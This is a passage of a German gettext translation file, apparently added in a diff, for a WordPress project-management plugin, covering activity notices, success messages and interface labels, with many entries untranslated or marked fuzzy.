on a milestone, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:202 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a milestone, %2$s" +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:206 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a milestone, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:212 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on the project, %2$s." +msgstr "%s kommentierte bei %s" + +# @ cpm +#: texts/activities.php:216 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on the project, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +#: texts/activities.php:220 +msgid "%1$s has replied a comment on the project, %2$s" +msgstr "" + +# @ cpm +#: texts/activities.php:224 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on the project, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:230 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a file, %2$s." +msgstr "%s kommentierte bei %s" + +# @ cpm +#: texts/activities.php:234 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a file, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:238 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a file, %2$s" +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:242 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a file, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +#: texts/activities.php:246 +msgid "%1$s has duplicated project from , %2$s." +msgstr "" + +# @ cpm +#: texts/resource_types.php:5 +#, fuzzy +#| msgid "Project" +msgid "project" +msgstr "Projekt" + +#: texts/resource_types.php:8 +msgid "discussion board" +msgstr "" + +# @ cpm +#: texts/resource_types.php:11 +#, fuzzy +#| msgid "Task List" +msgid "task list" +msgstr "Aufgabenliste" + +#: texts/resource_types.php:14 +msgid "task" +msgstr "" + +# @ cpm +#: texts/resource_types.php:17 +#, fuzzy +#| msgid "Milestone" +msgid "milestone" +msgstr "Meilenstein" + +# @ cpm +#: texts/resource_types.php:20 +#, fuzzy +#| msgid "%d comment" +#| msgid_plural "%d comments" +msgid "comment" +msgstr "%d Kommentar" + +# @ cpm +#: texts/resource_types.php:23 +#, fuzzy +#| msgid "%d file" +#| msgid_plural "%d files" +msgid "file" +msgstr "%d Datei" + +#: texts/success_messages.php:6 +msgid "A project has been created successfully." +msgstr "" + +#: texts/success_messages.php:9 +msgid "A project has been updated successfully." +msgstr "" + +#: texts/success_messages.php:12 +msgid "A project has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:16 +msgid "A category has been created successfully." +msgstr "" + +#: texts/success_messages.php:19 +msgid "A category has been updated successfully." +msgstr "" + +#: texts/success_messages.php:22 +msgid "A category has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:25 +msgid "All the selected categories has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:29 +msgid "Successfully commented." +msgstr "" + +#: texts/success_messages.php:32 +msgid "A comment has been updated successfully." +msgstr "" + +#: texts/success_messages.php:35 +msgid "A comment has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:39 +msgid "A new discussion has been created successfully." +msgstr "" + +#: texts/success_messages.php:42 +msgid "A discussion has been updated successfully." +msgstr "" + +#: texts/success_messages.php:45 +msgid "A discussion has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:49 +msgid "A new milestone has been created successfully." +msgstr "" + +#: texts/success_messages.php:52 +msgid "A milestone has been updated successfully." +msgstr "" + +#: texts/success_messages.php:55 +msgid "A milestone has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:59 +msgid "A new task list has been created successfully." +msgstr "" + +#: texts/success_messages.php:62 +msgid "Task list has been updated successfully." +msgstr "" + +#: texts/success_messages.php:65 +msgid "Task list has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:69 +msgid "A new task has been created successfully." +msgstr "" + +#: texts/success_messages.php:72 +msgid "A Task has been updated successfully." +msgstr "" + +#: texts/success_messages.php:75 +msgid "The task has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:78 +msgid "Settings has been changed successfully." +msgstr "" + +# @ cpm +#: texts/success_messages.php:81 +#, fuzzy +#| msgid "No comments found" +msgid "No element found" +msgstr "Keine Kommentare gefunden" + +# @ cpm +#: texts/success_messages.php:84 +#, fuzzy +#| msgid "No Project Found" +msgid "No Project found" +msgstr "Kein Projekt gefunden" + +#: texts/success_messages.php:87 +msgid "Task marked as done" +msgstr "" + +#: texts/success_messages.php:90 +msgid "Task reopened" +msgstr "" + +#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 +msgid "Every %d Minutes" +msgstr "" + +# @ cpm +#: views/assets/js/library.js:887 views/assets/js/library.js:1099 +#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 +#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 +#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 +#: views/assets/js/pm.js:14773 +#: views/assets/src/components/categories/categories.vue:255 +#: views/assets/src/components/project-discussions/mixin.js:507 +#: views/assets/src/components/project-task-lists/list-comments.vue:111 +#: views/assets/src/components/project-task-lists/mixin.js:382 +#: views/assets/src/components/project-task-lists/mixin.js:602 +#: views/assets/src/components/project-task-lists/task-comments.vue:131 +#, fuzzy +#| msgid "Are you sure?" +msgid "Are you sure!" +msgstr "Sind Sie sicher?" + +# @ cpm +#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 +#: views/assets/src/helpers/mixin/mixin.js:703 +#: views/assets/vendor/mixin/mixin.js:636 +msgid "Are you sure to delete this project?" +msgstr "Wollen Sie diesen Projekt wirklich löschen?" + +#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 +#: views/assets/src/components/common/text-editor.vue:37 +msgid "Write a comment..." +msgstr "" + +#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 +#: views/assets/src/components/project-task-lists/single-task.vue:295 +msgid "Update Description" +msgstr "" + +#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 +#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 +#: views/assets/src/components/project-discussions/comment-form.vue:39 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 +msgid "Add New Comment" +msgstr "" + +#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 +#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 +#: views/assets/src/components/project-discussions/comment-form.vue:40 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 +#: views/emails/html/update-comment.php:12 +msgid "Update Comment" +msgstr "" + +#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 +msgid "textarea" +msgstr "" + +#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 +#: views/assets/js/pm.js:25191 +msgid "form" +msgstr "" + +#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 +#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 +#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 +#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 +#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 +#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 +#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 +#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 +#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 +#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 +#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 +#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 +#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 +#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 +#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 +#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 +#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 +#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 +#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 +#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 +#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 +#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 +#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 +#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 +#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 +#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 +#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 +#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 +#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 +#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 +#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 +#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 +#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 +#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 +#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 +#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 +#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 +msgid "div" +msgstr "" + +#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 +#: views/assets/js/pm.js:23525 +msgid "span" +msgstr "" + +#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 +#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 +#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 +#: views/assets/js/pm.js:33414 +msgid "input" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:2326 +#: views/assets/src/components/project-milestones/mixin.js:316 +#, fuzzy +#| msgid "Are you sure to delete this message?" +msgid "Are you sure! Want to delete this milestones?" +msgstr "Möchten Sie diese Nachricht wirklich löschen?" + +# @ cpm +#: views/assets/js/pm.js:5999 +#: views/assets/src/components/project-discussions/mixin.js:554 +#, fuzzy +#| msgid "Are you sure to delete this project?" +msgid "Are you sure to delete this comment?" +msgstr "Wollen Sie diesen Projekt wirklich löschen?" + +# @ cpm +#: views/assets/js/pm.js:9674 +#: views/assets/src/components/categories/categories.vue:23 +#: views/assets/src/components/categories/categories.vue:212 +#, fuzzy +#| msgid "Add New Message" +msgid "Add New Category" +msgstr "Neue Nachricht hinzufügen" + +# @ cpm +#: views/assets/js/pm.js:9793 +#: views/assets/src/components/categories/edit-category-form.vue:42 +#, fuzzy +#| msgid "Update Message" +msgid "Update Category" +msgstr "Nachricht aktualisieren" + +# @ cpm +#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 +#: views/assets/src/components/common/header.vue:81 +#: views/assets/src/components/project-lists/project-summary.vue:165 +#, fuzzy +#| msgid "Project Activity" +msgid "Project Actions" +msgstr "Projekttätigkeit" + +#: views/assets/js/pm.js:10314 +#: views/assets/src/components/common/header.vue:110 +msgid "Overview" +msgstr "" + +#: views/assets/js/pm.js:10323 +#: views/assets/src/components/common/header.vue:121 +msgid "Activities" +msgstr "" + +#: views/assets/js/pm.js:10332 +#: views/assets/src/components/common/header.vue:132 +#: views/assets/src/components/project-discussions/discussions.vue:20 +#: views/assets/src/components/project-lists/project-summary.vue:32 +#: views/assets/src/components/project-milestones/completed-milestones.vue:32 +#: views/assets/src/components/project-milestones/late-milestones.vue:39 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 +#: views/assets/src/components/project-overview/overview.vue:31 +msgid "Discussions" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:10341 +#: views/assets/src/components/common/header.vue:143 +#: views/assets/src/components/project-lists/project-summary.vue:48 +#: views/assets/src/components/project-milestones/completed-milestones.vue:23 +#: views/assets/src/components/project-milestones/late-milestones.vue:30 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 +#: views/assets/src/components/project-overview/overview.vue:46 +#: views/assets/src/components/project-task-lists/default-list-page.vue:4 +msgid "Task Lists" +msgstr "Aufgabenlisten" + +# @ cpm +#: views/assets/js/pm.js:10350 +#: views/assets/src/components/common/header.vue:154 +#: views/assets/src/components/project-lists/project-summary.vue:78 +#: views/assets/src/components/project-milestones/milestones.vue:19 +#: views/assets/src/components/project-overview/overview.vue:97 +msgid "Milestones" +msgstr "Meilensteine" + +# @ cpm +#: views/assets/js/pm.js:10359 +#: views/assets/src/components/common/header.vue:165 +#: views/assets/src/components/project-lists/project-summary.vue:93 +#: views/assets/src/components/project-overview/overview.vue:82 +msgid "Files" +msgstr "Dateien" + +# @ cpm +#: views/assets/js/pm.js:10975 +#: views/assets/src/components/categories/categories.vue:104 +#: views/assets/src/components/common/header.vue:10 +#: views/assets/src/components/project-discussions/discussions.vue:158 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 +msgid "Edit" +msgstr "Bearbeiten" + +# @ cpm +#: views/assets/js/pm.js:10976 +#: views/assets/src/components/project-discussions/discussions.vue:159 +msgid "Delete this message" +msgstr "Diese Nachricht löschen" + +#: views/assets/js/pm.js:10977 +#: views/assets/src/components/project-discussions/discussions.vue:160 +msgid "Make it private" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:11351 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 +msgid "Enter message title" +msgstr "Nachrichtentitel eingeben" + +# @ cpm +#: views/assets/js/pm.js:11352 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 +msgid "Add Message" +msgstr "Nachricht hinzufügen" + +# @ cpm +#: views/assets/js/pm.js:11353 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 +msgid "Update Message" +msgstr "Nachricht aktualisieren" + +# @ cpm +#: views/assets/js/pm.js:12089 +#: views/assets/src/components/project-lists/header.vue:69 +msgid "Start a new project" +msgstr "Ein neues Projekt beginnen" + +# @ cpm +#: views/assets/js/pm.js:12190 +#: views/assets/src/components/project-lists/project-create-form.vue:87 +msgid "Name of the project" +msgstr "Projektname" + +# @ wedevs +#: views/assets/js/pm.js:12191 +#: views/assets/src/components/project-lists/project-create-form.vue:88 +msgid "Some details about the project (optional)" +msgstr "Einige Details über das Projekt (optional)" + +#: views/assets/js/pm.js:12192 +#: views/assets/src/components/project-lists/project-create-form.vue:89 +msgid "Type 3 or more characters to search users..." +msgstr "" + +#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 +#: views/assets/src/components/project-lists/directive.js:75 +#: views/assets/src/components/project-lists/project-create-form.vue:90 +msgid "Create a new user" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12194 +#: views/assets/src/components/project-lists/project-create-form.vue:91 +msgid "Add New Project" +msgstr "Neues Projekt hinzufügen" + +# @ cpm +#: views/assets/js/pm.js:12195 +#: views/assets/src/components/project-lists/project-create-form.vue:92 +#: views/emails/html/update-project.php:9 +msgid "Update Project" +msgstr "Projekt aktualisieren" + +#: views/assets/js/pm.js:12536 +#: views/assets/src/components/project-lists/project-new-user-form.vue:43 +msgid "Create User" +msgstr "" + +#: views/assets/js/pm.js:12853 +#: views/assets/src/components/project-lists/project-view.vue:17 +msgid "List View" +msgstr "" + +#: views/assets/js/pm.js:12854 +#: views/assets/src/components/project-lists/project-view.vue:18 +msgid "Grid View" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12946 +#: views/assets/src/components/project-milestones/action-milestones.vue:33 +msgid "Edit Milestone" +msgstr "Meilenstein bearbeiten" + +# @ cpm +#: views/assets/js/pm.js:12947 +#: views/assets/src/components/project-milestones/action-milestones.vue:34 +msgid "Delete milestone" +msgstr "Meilenstein löschen" + +#: views/assets/js/pm.js:12948 +#: views/assets/src/components/project-milestones/action-milestones.vue:35 +msgid "Mark as incomplete" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12949 +#: views/assets/src/components/project-milestones/action-milestones.vue:36 +msgid "Mark as complete" +msgstr "Als erledigt markieren" + +#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 +#: views/assets/src/components/project-task-lists/new-task-form.vue:112 +msgid "Due Date" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:13572 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 +msgid "Milestone name" +msgstr "Meilensteinname" + +# @ cpm +#: views/assets/js/pm.js:13573 +#: views/assets/src/components/project-milestones/milestones.vue:24 +#: views/assets/src/components/project-milestones/milestones.vue:52 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 +msgid "Add Milestone" +msgstr "Meilenstein hinzufügen" + +# @ cpm +#: views/assets/js/pm.js:13574 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 +msgid "Update Milestone" +msgstr "Meilenstein aktualisieren" + +#: views/assets/js/pm.js:15560 +#: views/assets/src/components/project-task-lists/new-task-form.vue:109 +msgid "Add a new task" +msgstr "" + +#: views/assets/js/pm.js:15561 +#: views/assets/src/components/project-task-lists/new-task-form.vue:110 +msgid "Add extra details about this task (optional)" +msgstr "" + +#: views/assets/js/pm.js:15562 +#: views/assets/src/components/project-task-lists/new-task-form.vue:111 +msgid "Start Date" +msgstr "" + +#: views/assets/js/pm.js:15564 +#: views/assets/src/components/project-task-lists/new-task-form.vue:113 +msgid "Select User" +msgstr "" + +#: views/assets/js/pm.js:15565 +#: views/assets/src/components/project-task-lists/new-task-form.vue:114 +msgid "Update Task" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:15566 +#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 +#: views/assets/src/components/project-task-lists/new-task-form.vue:115 +msgid "Add Task" +msgstr "Neue Aufgabe" + +#: views/assets/js/pm.js:15567 +#: views/assets/src/components/project-task-lists/new-task-form.vue:116 +msgid "Estimated hour to complete the task" +msgstr "" + +#: views/assets/js/pm.js:15928 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 +msgid "Task list name" +msgstr "" + +#: views/assets/js/pm.js:15929 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 +msgid "Task list details" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:15930 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 +msgid "Update List" +msgstr "Liste aktualisieren" + +# @ cpm +#: views/assets/js/pm.js:15931 +#: views/assets/src/components/project-discussions/discussions.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 +msgid "Add List" +msgstr "Liste hinzufügen" + +# @ cpm +#: views/assets/js/pm.js:16368 +#: views/assets/src/components/project-task-lists/single-list.vue:121 +#, fuzzy +#| msgid "Delete milestone" +msgid "Delete List" +msgstr "Meilenstein löschen" + +# @ cpm +#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 +#: views/assets/src/components/settings/email.vue:82 +#: views/assets/src/components/settings/general.vue:116 +msgid "Save Changes" +msgstr "Änderungen speichern" + +#: views/assets/js/pm.js:18015 +#: views/assets/src/components/project-lists/directive.js:74 +msgid "No users found." +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:18540 +#: views/assets/src/components/project-overview/directive.js:9 +msgid "Activity" +msgstr "Aktivität" + +#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 +#: views/assets/js/pm.js:31861 +msgid "ul" +msgstr "" + +#: views/assets/js/pm.js:26597 +msgid "a" +msgstr "" + +#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 +msgid "router-view" +msgstr "" + +#: views/assets/js/pm.js:33541 +msgid "svg" +msgstr "" + +#: views/assets/js/pm.js:33711 +msgid "vue-content-loading" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:27 +#: views/assets/src/components/categories/categories.vue:74 +#: views/assets/src/components/categories/categories.vue:130 +#: views/assets/src/components/categories/edit-category-form.vue:8 +msgid "Name" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:33 +#: views/assets/src/components/categories/categories.vue:79 +#: views/assets/src/components/categories/categories.vue:136 +#: views/assets/src/components/categories/edit-category-form.vue:14 +msgid "Description" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:54 +msgid "Select bulk action" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:56 +#: views/assets/src/components/categories/categories.vue:155 +msgid "Bulk Actions" +msgstr "" + +# @ cpm +#: views/assets/src/components/categories/categories.vue:57 +#: views/assets/src/components/categories/categories.vue:156 +#: views/assets/src/components/common/header.vue:29 +#: views/assets/src/components/project-lists/project-create-form.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:134 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 +msgid "Delete" +msgstr "Löschen" + +# @ cpm +#: views/assets/src/components/categories/categories.vue:69 +#: views/assets/src/components/common/notify-user.vue:7 +msgid "Select all" +msgstr "Alle wählen" + +#: views/assets/src/components/categories/edit-category-form.vue:5 +msgid "Quick Edit" +msgstr "" + +# @ cpm +# @ wedevs +#: views/assets/src/components/categories/edit-category-form.vue:23 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 +#: views/assets/src/components/project-lists/project-create-form.vue:57 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 +#: views/assets/src/components/project-task-lists/new-task-form.vue:51 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 +msgid "Cancel" +msgstr "Abbrechen" + +# @ cpm +#: views/assets/src/components/common/color-picker.vue:9 +#, fuzzy +#| msgid "Select all" +msgid "Select Color" +msgstr "Alle wählen" + +#: views/assets/src/components/common/color-picker.vue:25 +msgid "Clear" +msgstr "" + +#: views/assets/src/components/common/color-picker.vue:31 +msgid "Close" +msgstr "" + +# @ default +#: views/assets/src/components/common/file-uploader.vue:10 +msgid "Delete File" +msgstr "Datei Löschen" + +#: views/assets/src/components/common/file-uploader.vue:16 +msgid "To attach" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:17 +msgid "select files" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:18 +msgid "from your computer." +msgstr "" + +# @ cpm +#: views/assets/src/components/common/header.vue:17 +#: views/assets/src/components/project-lists/project-header-menu.vue:13 +#: views/assets/src/components/project-task-lists/lists.vue:92 +msgid "Completed" +msgstr "Abgeschlossen" + +#: views/assets/src/components/common/header.vue:18 +#: views/assets/src/components/project-task-lists/lists.vue:102 +msgid "Incomplete" +msgstr "" + +#: views/assets/src/components/common/header.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:141 +msgid "Complete" +msgstr "" + +#: views/assets/src/components/common/header.vue:39 +#: views/assets/src/components/project-lists/project-summary.vue:144 +msgid "Restore" +msgstr "" + +# @ cpm +#: views/assets/src/components/common/notify-user.vue:4 +msgid "Notify users" +msgstr "Benutzer benachrichtigen" + +# @ cpm +#: views/assets/src/components/project-activities/activities.vue:46 +#, fuzzy +#| msgid "Load More..." +msgid "Load More ..." +msgstr "Mehr laden..." + +#: views/assets/src/components/project-activities/activities.vue:48 +msgid "No activity fount" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:23 +msgid "" +"Use our built in discussion panel to create an open discussion, a group " +"discussion or a private conversation. Note that the Admin can always " +"moderate these discussions." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:27 +#: views/assets/src/components/project-discussions/discussions.vue:54 +msgid "Add New Discussion" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-discussions/discussions.vue:32 +#: views/assets/src/components/project-discussions/discussions.vue:59 +msgid "Create a new message" +msgstr "Neue Nachricht erstellen" + +#: views/assets/src/components/project-discussions/discussions.vue:38 +msgid "When to use Discussions?" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:41 +msgid "To discuss a work matter privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:42 +msgid "To exchange files privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:43 +msgid "To discuss in a group." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:44 +msgid "To create an open discussion visible to all." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:68 +msgid "Discussion List" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-discussions/discussions.vue:84 +#: views/assets/src/components/project-discussions/individual-discussions.vue:32 +#: views/assets/src/components/project-task-lists/list-comments.vue:15 +#: views/assets/src/components/project-task-lists/task-comments.vue:15 +#, fuzzy +#| msgid "Body" +msgid "By" +msgstr "Text" + +#: views/assets/src/components/project-discussions/discussions.vue:88 +#: views/assets/src/components/project-discussions/individual-discussions.vue:35 +#: views/assets/src/components/project-discussions/individual-discussions.vue:77 +#: views/assets/src/components/project-task-lists/list-comments.vue:22 +#: views/assets/src/components/project-task-lists/task-comments.vue:21 +msgid "on" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:110 +#: views/assets/src/components/project-discussions/individual-discussions.vue:61 +#: views/assets/src/components/project-lists/project-summary.vue:104 +#: views/assets/src/components/project-overview/overview.vue:68 +#: views/assets/src/components/project-task-lists/lists.vue:111 +#: views/assets/src/components/project-task-lists/single-task.vue:174 +msgid "Comments" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 +msgid "- Milestone -" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:36 +msgid "Attached to" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:38 +msgid "by" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:40 +msgid "admin" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-files/files.vue:62 +#, fuzzy +#| msgid "No users found" +msgid "No result found!" +msgstr "Keine Benutzer gefunden" + +#: views/assets/src/components/project-lists/project-create-form.vue:13 +#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 +msgid "- Project Category -" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:50 +msgid "Notify Co-Workers" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:6 +msgid "Active" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:20 +msgid "All" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 +#: views/emails/html/new-project.php:10 +msgid "New Project" +msgstr "Neues Projekt" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:7 +msgid "Username" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:12 +msgid "First Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:17 +msgid "Last Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:22 +msgid "Email" +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:4 +msgid "No projects found." +msgstr "" + +# @ cpm +#: views/assets/src/components/project-lists/project-summary.vue:63 +#: views/assets/src/components/project-overview/overview.vue:57 +msgid "Tasks" +msgstr "Aufgaben" + +# @ cpm +#: views/assets/src/components/project-milestones/completed-milestones.vue:3 +msgid "Completed Milestones" +msgstr "Abgeschlossene Meilensteine" + +# @ cpm +#: views/assets/src/components/project-milestones/completed-milestones.vue:43 +msgid "Completed on:" +msgstr "Abgeschlossen am:" + +# @ cpm +#: views/assets/src/components/project-milestones/late-milestones.vue:3 +msgid "Late Milestones" +msgstr "Letzte Meilensteine" + +#: views/assets/src/components/project-milestones/milestones.vue:21 +msgid "" +"Create a lifecycle of your projects using milestones. Time mark the " +"different stages of your project with multiple milestones and also it will " +"help the assigned people to aim for a date to complete the project according " +"to those steps." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:37 +msgid "When to use Milestones?" +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:40 +msgid "To set a target date for the project overall." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:41 +msgid "To divide a project into several development-time phases." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:42 +msgid "To coordinate projects and assigned persons timely." +msgstr "" + +# @ cpm +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 +msgid "Upcoming Milestones" +msgstr "Zukünftige Meilensteine" + +# @ cpm +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 +#, fuzzy +#| msgid "left" +msgid "left -" +msgstr "links" + +#: views/assets/src/components/project-overview/overview.vue:107 +msgid "Last 30 days" +msgstr "" + +#: views/assets/src/components/project-overview/overview.vue:116 +msgid "Users" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:6 +msgid "" +"You can list all your Tasks in a single discussion using a Task list. Use " +"these lists to divide a project into several sectors, assign co-workers and " +"check progress." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:14 +msgid "When to use Task Lists?" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:17 +msgid "To partition a project internals." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:18 +msgid "To mark milestone points." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:19 +msgid "To assign people to tasks." +msgstr "" + +#: views/assets/src/components/project-task-lists/list-comments.vue:4 +msgid "Discuss this task list" +msgstr "" + +#: views/assets/src/components/project-task-lists/list-tasks.vue:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 +msgid "No tasks found." +msgstr "" + +#: views/assets/src/components/project-task-lists/lists.vue:77 +#: 